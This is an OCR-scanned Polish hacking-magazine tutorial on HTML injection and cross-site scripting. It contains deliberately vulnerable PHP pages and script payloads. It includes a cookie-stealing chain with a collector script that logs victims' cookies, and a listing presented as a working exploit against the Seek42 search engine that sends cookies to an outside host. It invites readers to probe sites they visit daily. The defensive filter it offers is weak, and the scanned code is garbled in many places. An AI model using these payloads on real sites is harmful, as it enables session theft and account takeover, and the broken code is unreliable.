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rzyjrzyjmy sie stronie, ktorej kod
P zrédtowy przedstawiony jest na Listin-

gach1i2(http://127.0.0.1/inject/html_ex.
html). Wyglada prosto, prawda? W formu-
larzu wybieramy interesujacy nas format
(MP3, OGG Ilub WAYV) i klikamy OK. War-
to$¢ zmiennej music przesytana jest do strony
html_ex.php:

<form action='./html ex.php' method='post'>

Ten plik wypisuje nazwe wybranego przez nas
formatu:

$myURL = $ REQUEST [music];
(G
Twéj wybdr: <? echo ($myURL); ?>

Dziatanie strony jest tak proste, ze az nie
chce sie wierzy¢, by mogta ona zawierac
jakies Iluki zwigzane z bezpieczenstwem.
A jednak — sprobujmy wpisa¢é w przegladar-
ce adres http://127.0.0.1/inject/html_ex.php?

www. hakinS.org

Ataki HTML injection polegaja
na przestaniu stronie, ktéra
oczekuje od nas danych

w postaci czystego tekstu,
ciggu zawierajacego specjalnie
spreparowany kod HTML.

Co mozemy w ten sposéb
osiagnacé?

music=<script>alert('hakin9')</script>.
Na ekranie pojawia sie okienko dialogowe
z napisem hakin9. Ciekawe, prawda? Obej-
rzyjmy zrodio strony, ktéra sie wyswietlita
(Listing 3).

Jak wida¢ PHP uwierzyt, ze cigg podany
przez nas w adresie jest przestany przez for-
mularz (metodg GET) i wstawit go w wystany
przegladarce kod HTML. Znacznik <script>
nakazuje uzycie JavaScriptu, co pozwala nam
uzy€ funkcji alert() w celu wyswietlenia wy-
skakujacego okienka.

Bardziej ztozony przyktad

— proste forum
Bardziej ztozony przyktad przedstawia Listing 4 i 5
—http://127.0.0.1/inject/xss_ex.php. Jestto uprosz-
czona wersja mechanizmu, ktéry znajdziemy na
wielu dziatajgcych w Sieci forach dyskusyjnych.
Strona xss_ex.php zawiera formularz,
w ktéry wpisujemy nazwe uzytkownika i hasto
(root i demo). Dane te przesytane sg znowu do
pliku xss_ex.php:

Hakin8 Nr 1 /2004



Ataki HTML injection

Jesli nie dziata przyktad
html_ex.php

Jesli na Twoim komputerze nie dziata
przykiad przedstawiony na Listin-
gach 1i 2 (wpisanie adresu podanego
w artykule nie powoduje wyswietlenia
okienka dialogowego), sprawdz, czy
w opcjach przegladarki nie wytaczy-
te$ JavaScriptu. Jesli JavaScript jest
wytaczony, okno dialogowe nie mo-
ze zosta¢ wyswietlone. Obejrzyj tez
zrodto strony, ktéra wyswietlita sie po
wpisaniu podanego w artykule adresu
i poréwnaj jg z przedstawionym na Li-
stingu 3. W szczegolno$ci sprawdz,
czy linijka:

<script>alert ('hakin9’)</script>
u ciebie nie wyglada tak:

<script>alert (\’hakin9’\)

</script>

Jedli tak jest — prawdopodobnie w pli-
ku konfiguracyjnym PHP (/etc/php.ini
w wiekszosci dystrybucji Linuksa) masz
ustawiong opcje:

magic_quotes gpc=0n

Opcja ta zabezpiecza przed wieloma
rodzajami ataku HTML injection, aby
wiec wyprébowa¢ dziatanie opisanych
w artykule atakéw ustaw jg na mniej
bezpieczng wartosc¢:

magic_quotes gpc=0ff

Listing 1. Najprostszy przyktad strony podatnej na atak HTML injection

— plik html_ex.html

<form action='./html ex.php' method='post'
center>[<b>Wybierz format</b>]</center><br
input type="radio" name="music" value="MP3" checked="true"
input type="radio" name="music" value="0GG"
input type="radio" name="music" value="WAV"
center><input type="submit" value="OK"></center

</form>

.MP3<br
.0GG<br>
.WAV<br

<form action='./xss_ex.php'

method="post'>

Po ich odebraniu skrypt wysyta klien-
towi cookies zawierajace nazwe uzyt-
kownika i hasto:

setcookie ("mylogin",$ POST['login']);
setcookie ("mypaswd",$ POST['paswd']);

Dzieki temu przy kolejnych odwiedzi-
nach nie bedzie trzeba podawac tych
danych drugi raz. Po wystfaniu co-
okies skrypt wysyta nagtowek HTTP
location, co powoduje otwarcie stro-
ny exploit.php:

header ("Location: exploit.php");

Po zalogowaniu sie trafiamy na stro-
ne symulujgcg zamieszczanie na fo-
rum obrazka. Na stronie tej znajduje
sie prosty formularz, w ktéry wpisuje-
my link do pliku graficznego. Po wci-
Snieciu przycisku link przesytany jest
do skryptu, ktéry umieszcza go w ba-
zie danych i wyswietla.

html_ex.php

?

*/

$myURL = $ REQUEST [music];
2

/head>

body bgcolor="white"

br><br><br
center><hl>Twdj wyblr:

/body

/html

* skrypt nie bedzie podatny na atak

error_reporting (E_ALL *~ E NOTICE);

Listing 2. Cigg dalszy strony podatnej na atak HTML injection — plik

/* Upewnij sie, ze w pliku php.ini ustawione jest

* "magic quotes gpc = Off" - w przeciwnym razie ten

html><head><title>Prosty przykltad</title

? echo ($myURL); ?></hl></center

Sprébujmy przeprowadzi¢ atak
HTML injection podobny do po-
przedniego. Jako link obrazka
wpiszmy: http://127.0.0.1/inject/
image.jpg"><script>alert('hakin
9')</script>. Efekt powinien byc¢
identyczny jak w poprzednim przy-
padku. Zajrzyjmy do zrédet wyswie-
tlonej strony, znajdziemy w nich
linijke:

<img src=" http://127.0.0.1/inject/
image.jpg"><script>alert('hakin9')<

/script>">

Jak to dziata? To proste — zauwaz-
my, ze ciag ">, ktéry umiescilismy po
nazwie pliku z grafikg, spowodowat
zamkniecie tagu img. Nastepujacy
dalej Cla_g <script>alert('hakin9'")
</script> spowodowat — tak samo
jak w poprzednim przyktadzie — wy-
Swietlenie okna dialogowego.

Przykiad zastosowania
techniki XSS

No tak — ale generowanie wyskaku-
jacych okienek to troche zbyt mato,

Listing 3. Zrédto strony, ktéra
wySwietla sie po wpisaniu
adresu http://127.0.0.1/inject/
html_ex.php?music=<script>
alert('hakin9')</script>

html
<head>
title>Prosty przykiad</title

/head
<body bgcolor="white">
br><br><br
center><hl>Wybrates:
<script>alert ('hakin9')</script
/hl></center

/body
</html
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Eile Edit View Go Bookmarks Teols Help

/\ @ ~ @ @ [ ip#12700 1 piotvinjecthim_ex php
warto$¢ zmiennej music

Twoj wybor: MP3

Music=MP3

[Wybierz format]

& MP3 wystana metoda POST
¢ .0GG
WAV

Zwykte dziatanie strony.

Http://127.0.0.1/inject/html_ex.php?
music=<script>alert(‘hakin9')</script>

T

Twoj wybor:
Ztosliwy uzytkownik
wysyta sfatszowane

= [JavaScript Application] = [T2K
zadanie.

I hakig

Haker powoduje wyswietlenie wyskakujacego okienka.

Rysunek 1. Strona z Listingéw 1 i 2 — dziatanie zwykte i wymuszone przez hakera wy$wietlenie wyskakujgcego
okienka
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by moéwi¢ o hakerstwie. Sprébujmy

zrobié co$ bardziej ambitnego.
Przede wszystkim — aby atak

HTML injection odniést powazny

skutek, nasz kod musi by¢ umiesz-
czony na stronie, ktérg oglada wie-
le oséb. Jak widzieliSmy w poprzed-
nim przyktadzie nie jest to trudne

— wystarczy wykorzysta¢ dowolne fo-
rum. Wazng cechg forum z poprzed-
niego przyktadu jest tez fakt, ze kie-
dy internauta loguje sie, jego nazwa

Listing 4. Dziurawe forum — xss_ex.php

if ($_SERVER['REQUEST METHOD'] == "POST"

setcookie ("mylogin",$_POST['login'
setcookie ("mypaswd", $_POST['paswd'
header ("Location: exploit.php");

if ($_COOKIE['mylogin'] || $_COOKIE['mypasswd'

echo ("<center><b><a href=\"./exploit.php\">Juz jeste$ zalogowany </a></b></center>");

else

br

form action='./xss ex.php' method='post'

table border=0 width=0 heith=0

caption align="1left">HTML Injection Demo</caption

tr><td valign="top"

b>Login: </b></td><td><input type=text name="login" value="root" size=50 /input></td></tr><td valign="top"
b>Paswd: </b></td><td><input type=text name="paswd" value="demo" size=50

input type=submit value="Enter"
/td></tr

/table

/form

/input><br></td></tr><td valign="top"

www. hakinS.org
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Konwersja znakéw ASCII na symbole szesnastkowe
Spéjrzmy na dwa ponizsze odnosniki:

* http://127.0.0.1/inject/html ex.php?music=<script>alert ('hakin9")
</script>

* http://127.0.0.1/inject/html_ex.php?music=
%3Cscript%3Ealert$28%27hakin9%$27%29%3C%2Fscript$3E

Warto wiedzie¢, ze oba prowadzg w to samo miejsce. To proste — znak < nosi w ASCII
numer 3C (szesnastkowo), wiec zamiast pisa¢ <script mozemy napisa¢ $3Cscript.
Po co? Sa sytuacje, kiedy nie chcemy umieszczaé w URL-u nietypowych znakéw — nie-
ktére aplikacje internetowe czy klienty mogg probowac je usung¢. Wybrane znaki i od-
powiadajgce im kody szesnastkowe przedstawia Tabela 1.

uzytkownika i hasto sg zapamietane
W cookies. Za chwile przekonamy sie,
ze jest mozliwe wykradzenie czyje-
gos$ cookie, co pozwoli nam podszy-

wac sie pod innych uzytkownikéw. szy ciag:

Zacznijmy od prostego przykia-
du. Zamiast odno$nika do obrazka
(méwimy caty czas o forum z Listin-
gow 4 i 5) wstawmy w okienko poniz-

Listing 5. Dziurawe forum, ciqg dalszy — exploit.php

no u ] ci
error_reporting (E_ALL * E NOTICE);
$myURL = $ REQUEST [url];

// Jesli

// dodajm

if (get_magic_quotes gpc()==
$SmyURL = addslashes ($myURL) ;

if $_COOKIE['mylogin'] == 'root') && ($_COOKIE['mypaswd'] == 'demo'
if $7SERVER 'REQUEST METHOD' I= "pOST"
b>HTML Injection Demo</b
br
form action='./exploit.php' method='post'
URL obrazka: <input type='text' name='url'
value='http://"' length='50"><br>

input type='submit'
/form

$SQL String = "SELECT User.Link FROM User";
$SQL_String .= " Where(User.Login = 'root');";
Srs = mysql query ($SQL String) or die ($SQL String);
if ($row = mysql fetch_object ($rs

echo "<img src=\"$row->Link\">\n";
else

echo "Btad!!\n";

Ataki HTML injection

Tabela 1. Wybrane znaki ASCII
i odpowiadajace im kody szes-
nastkowe

Kod

szesnastkowy
! %21

¢ %22

# %23

$ %24

% %25

& %26

‘ %27

( %28

%29

* %2A

+ %2B

) %2C

- %2D

%2E

/ %2F

%3A

; %3B

< %3C

%3D

%3E

%3F

%40

%5B

%5C

%5D

S|l—|—|—|@®|~|V

%5E

%5F

= %T7E

http://127.0.0.1/inject/image.jpg">

<script>alert (document.cookie)</script>

Spowoduje to wys$wietlenie okienka
Z napisem:

mylogin=root; mypasswd=demo

Jak wida¢ zmienna document.cookie
przechowuje warto$¢é cookies dla
strony, na ktérej sie znajdujemy. Jed-
nak nam nie chodzi o to, zeby kaz-
dy uzytkownik zobaczyt swoje dane
— chcemy, zeby te dane zostaty prze-

Hakin8 Nr 1 /2004 www. hakinS.org




Listing 6. Przyktadowe ciggi, ktérych wpisanie w okienku wyboru obrazka spowoduje wystanie intruzowi
zawartosci cookies

e image.jpg" width="0" height="0" name="hia" onload="hia.src='http://127.0.0.1/inject/
cookie.php?cookie="'+document.cookie;
* ./image.jpg" name="hia" onload="hia.src='http://127.0.0.1/inject/cookie.php?cookie="'%2Bdocument.cookie;">

<script language="

stane do nas. Najprostszy sposéb na  $my zawartos¢ cookies zostatyby one
osiggniecie tego celu to wstawienie  przestane na nasz serwer!

linku, ktéry spowoduje otwarcie na- Przeanalizujmy dziatanie linku
szej strony, w zmiennych przesta- przedstawionego na Listingu 6 (pierw-

Listing 7. Skrypt zapisujgcy do
pliku cigg podany w zmiennej
przestanej metodg GET

nych metodg GET przekazujac war-  szy link). Wpisanie go w okienku, — cookie.php
to$¢ zmiennej document.cookie. w ktérym podajemy odnosnik do ob-

Przyjrzyjmy sie skryptowi z Listin-  razka, spowoduje wystanie do klienta error reporting
gu 7. Jesli otworzymy go w ten spo-  ponizszego kodu: E ALL ~ E NOTICE);
séb:  http://127.0.0.1/~haking/inject/ $cookie = § REQUEST[cookie];
cookie.php?cookie=przykladowy_  <ing src="image.jpg" width="0" stio heookies . txen, Tan);
tekst spowoduje on zapisanie do pliku  height="0" name="hia" onload= sfic, "Scookie\n" ;
cookies.txt ciagu przykladowy _tekst.  "nia.src="http://127.0.0.1/ sfic) ;

Jesli w otwieranym adresie zamiast  inject/cookie.php?cookie="
ciagu przykladowy _tekst umiedciliby-  +document.cookie; ">

Xss_ex.php

|- HTML injection example — xs_ex.php - Hoztla FireDJNININY

File Edit View Go Bookmarks Tools Help »

passwd: demo xss_ex.php

& - @ LA hitp://127.0.0.1/~pig)

Login i hasto zapisywane sa w cookies.
Uzytkownik przekierowywany jest do
skryptu exploit.php.

HTML Login: Erom
Injection
Demo

Paswd: §demo

Enter |

Uzytkownik podaje username i hasto,
ktore sa przesytane znowu
do skryptu xss_ex.php.

exploit.php

- File Edit View Go Bookmarks Tools Help File Edit View Go Bookmarks Tools Help
; & - @ CA) Ritp:/1127.0.0.1¢~py & - “@ LA htp:/127.0.0.1/+
(9]
.! HTML Injection Demo
= URL obrazka: ;hﬂp:.-'.-' .
= o | aking
-3 Submit Query |
~N
(9]
(=
(=8
N
(=] Uzytkownik wpisuje URL do obrazka, URL podany przez uzytkownika jest
ktory chce zamiesci¢ na forum. zapisywany w bazie danych,

a nastepnie wstawiany w kod HTML
wysytany do kazdego uzytkownika
odwiedzajacego forum.

Rysunek 2. Schemat dziatania uproszczonego modelu forum z Listingéw 4 i 5

6 www. hakinS.org HakinS Nr 1 /2004



— view_cookie.php

$fic=fopen ("cookies.txt", "r");

while (! feof ($fic

$data fgets ($fic, 1024);
echo ("<br>$data") ;

fclose ($fic) ;

Listing 8. Skrypt stuzgcy do przeglgdania zebranych cookies

echo ("Przechwytywanie cookies: HTML Injection Demo\n<br>\n");

To proste — podany przez nas ciag
zostat — podobnie, jak w poprze-
dnich przykfadach wstawiony
w miejsce, w ktéore ma trafia¢
link do obrazka. Spowoduje to,
ze wysSwietlony zostanie obra-
zek image.jpg o wymiarach 0x0
pikseli (nie bedzie wiec on wi-
doczny). Po jego =zatadowaniu
(metoda onlcad) jako obrazek zata-
dowany zostanie URL:

Intruz:

File Edit View Go Bookmarks

http://127.0.0.1/inject/

cookie.php?cookie="'+document.cookie;

Jak juz widzielismy, spowoduje
towystanienaserwercookiesuzytko-
wnika — ktére zostang zapisane
na naszym serwerze (tam, gdzie
umieszczony jest plik cookie.php),
w pliku cookies.txt. Aby uspraw-
ni¢ sobie przeprowadzanie ataku
mozemy uzyé skryptu z Listingu 8.

Tcals Eile

© - W@ 2|

HTML Injection Demo

hitp://12]

Submit Query I

URL obrazka: E:Jkie:? +doc ument.cookiei

Eile

Ataki HTML injection

W niektérych sytuacjach koniecz-
ne moze by¢ uzycie ciggu <script
language=" — tak jak w drugim linku
z Listingu 6. Je$li wysytam m¢j zto-
sliwy kod HTML na strone, na kto-
rej zostanie on umieszczony w kilku
miejscach, moge napotka¢ problem.
W przykiadzie, ktéry przed chwilg
omawialismy, spowodowatoby to po-
jawienie sie na stronie kilku obraz-
kéw o tej samej nazwie — hia — przez
co mogtaby nie zosta¢ wykonana funk-
Cja onload. Dodanie na kohcu wpisane-
go przez nas kodu ciggu <script lan-
guage=" sSpowoduje, ze reszta strony
zostanie potraktowana jako niedokon-
czony skrypt JavaScript.

Przyktadem zastosowania tej
techniki jest kod z Listingu 9. Jest
to dziatajacy exploit pozwalajacy
przechwytywaé cookies uzytkowni-
kéw popularnej wyszukiwarki http://
sourceforge.net/projects/seek42/.

Jak sie bronié¢

Cho¢  przeprowadzanie  atakéw
HTML injection jest proste, w wielu

Edit View Go Bookmarks Tocols
@ LA htp:A/127]

= Source of: http:ff127.0.0.17 ™ piotrfinjec

Edit  View

Intruz jako URL obrazka wpisuje ciag:

image.jpg" width="0" height="0"
name="hia" onload="hia.src=
'Http://127.0.0.1/inject/

<dmg src="image.jpg” width="0" hei
onload="hia.src="http://127.0.0.1

Kod podany jako URL obrazka jest

wstawiany w kod HTML i wysytany do
kazdego odwiedzajgcego strone.

cookie.php?cookie="+document.cookie;

Ofiara: 2cookie=mylogin=root;mypasswd=demo
Uzytkownik Wyswietlany Wywotywana Metod}a onloaq() p%vzoduje cookie
wchodzi na jest obrazek jest metoda Zah?td(?)’/\’f;;eo% 1 /—a uzytkownika

forum. [ » imagejpg. [» onload(). | » .. (FC . trafia na serwer
inject/cookie.php?cookie= IRz

demo

my login=root;mypasswd=

Rysunek 3. Schemat ataku na forum z Listingéw 4 i 5
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Listing 9. Exploit dla Seek42

width=0 height=0></center

http://www.xxxx.net/seek42.php?g=troubles&E="></td></tr></table><br><br><center
nor iron bars a cage</b><br><img src="http://www.jotdot.net/brandito/authentic/tho.jpg"><br

img src="http://www.jotdot.net/brandito/authentic/tho.jpg" name="hia"
onload="hia.src="http://www.jotdot.net/brandito/authentic/Secure/cookie.php?cookie="

<script language="

b>Stone walls do not make a prison

o

%2Bdocument.cookie; "

sytuacjach obrona przed nimi nie jest
tatwa. Istniejg dwa sposoby na to, by
zabezpieczyc¢ swojq strone przed ha-
kerem.

Pierwszy sposéb polega na ana-
lizowaniu przychodzacych danych
(po stronie serwera), zanim zostang
one wigczone w kod strony wystanej
klientowi. Odpowiednia funkcja moze
sprawdzaé, czy w danych nie zostat
umieszczony ztosliwy kod HTML i al-
bo odmdéwic ich przyjecia, albo spro-
bowac¢ wycia¢ podejrzane fragmenty.
Przyktad zastosowania tej metody
przedstawiony jest na Listingu 10.
Przedstawia on odporng na atak wer-

sje strony z Listingu 2. Jak wida¢ napi-
saliSmyfunkcjeis clean().Sprawdza
ona, czy podane dane nie zawierajg
ciggdw "> lub <script — wystepujg
one w wiekszosci atakow HTML in-
jections. Jesli ztosliwy ciag zostanie
znaleziony, funkcja zwraca raise,
W przeciwnym razie — True.

W ten sposoéb przed atakami
HTML injections broni sie wiele fo-
réw internetowych. Usuwajg one
z wypowiedzi uczestnikow wszyst-
kie znaczniki HTML, pozostawiajac
jedynie swoje wtasne tagi, ktére sg
nastepnie przetwarzane w specjal-
ny sposob.

html_ex_clean.php

error_reporting (E_ALL ~ E_NOTICE);

function is clean ($container

$container = str_replace(' ',

"<script";
$string2 = "\">";

// Ciag jest bezpieczny.
$result = True;
else

i

Sresult = False;

return S$result;

$myURL = $ REQUEST [music];

SprawdzZmy, czy podany ciag jest

if (lis_clean (SmyURL

Listing 10. Odporna na atak wersja skryptu z Listingu 2 — plik

$Scontainer = strtolower ($container);
"", S$Scontainer

;
cigqgdéw mogacych siuzy¢é do przeprowadzenia ataku.

if (!strstr($container, $stringl) && !strstr($container,$string2

Ciag zawiera podejrzane fragment

Q

zysty.

$myURL = ", by przeprowadzi¢ atak HTML injection";
html
head>Prosty przyktad</title
/head
body bgcolor="white"
br><br><br
center><hl>Wybrates echo ($myURL) ; /hl></center
/body
/html

www. hakinS.org

Drugi sposdb polega na wykorzy-
staniu faktu, ze PHP ma mozliwos¢
automatycznego wstawiania uko-
$nikow przed cudzystowami i apo-
strofami. Kiedy wigczymy te opcje
(przez ustawienie w pliku /etc/php.ini
magic _quotes _ gpc:On), wiele ztosli-
wych skryptow przestanie dziataé.
W naszym przypadku zaobserwu-
jemy, ze atak, ktéry przeprowadza-
lismy na stronie z Listingow 1 i 2,
przestanie dziataé, powiedzie sie
natomiast atak na nasze proste fo-
rum. To dlatego, ze w danych prze-
sytanych do bazy danych w zapy-
taniu SQL przed kazdym cudzysto-
wem powinien by¢ wstawiony uko-
$nik. Zwréo¢my uwage na fakt, ze
w skrypcie exploit.php upewnia-
my SiQ, CZY magic quotes _gpc jeSt
wigczone, i jesli nie — sami dodaje-
my ukosniki.

W nowszych wersjach PHP opcja
magic _quotes gpc domy$lnie jest
wigczona. Sg jednak sytuacje, kie-
dy (jako webmasterzy) bedziemy po-
trzebowali jg wytgczy¢ — na przyktad
jesli nasz skrypt przechowuje dane
w pliku tekstowym, albo kiedy po-
trzebujemy poréwnywac ciggi zawie-
rajgce cudzystowy.

Podsumowanie

W Sieci mozna znalez¢ wiele stron
wrazliwych na jaki§ rodzaj ataku
HTML injection. Po przeczytaniu te-
go artykutu mozecie sprobowac po-
szuka¢ ich sami — niewykluczone,
ze znajdziecie dziure w stronie, kto-
rq odwiedzacie codziennie. Przy-
ktadem moze by¢ exploit z Listin-
gu 9 — pozwala on na zaatakowanie
dosc¢ popularnej wyszukiwarki http://
sourceforge.net/projects/seek42/.
Znalezienie tej dziury zajeto mi mniej
niz 30 minut, podczas przerwy w pi-
saniu artykutu. ®
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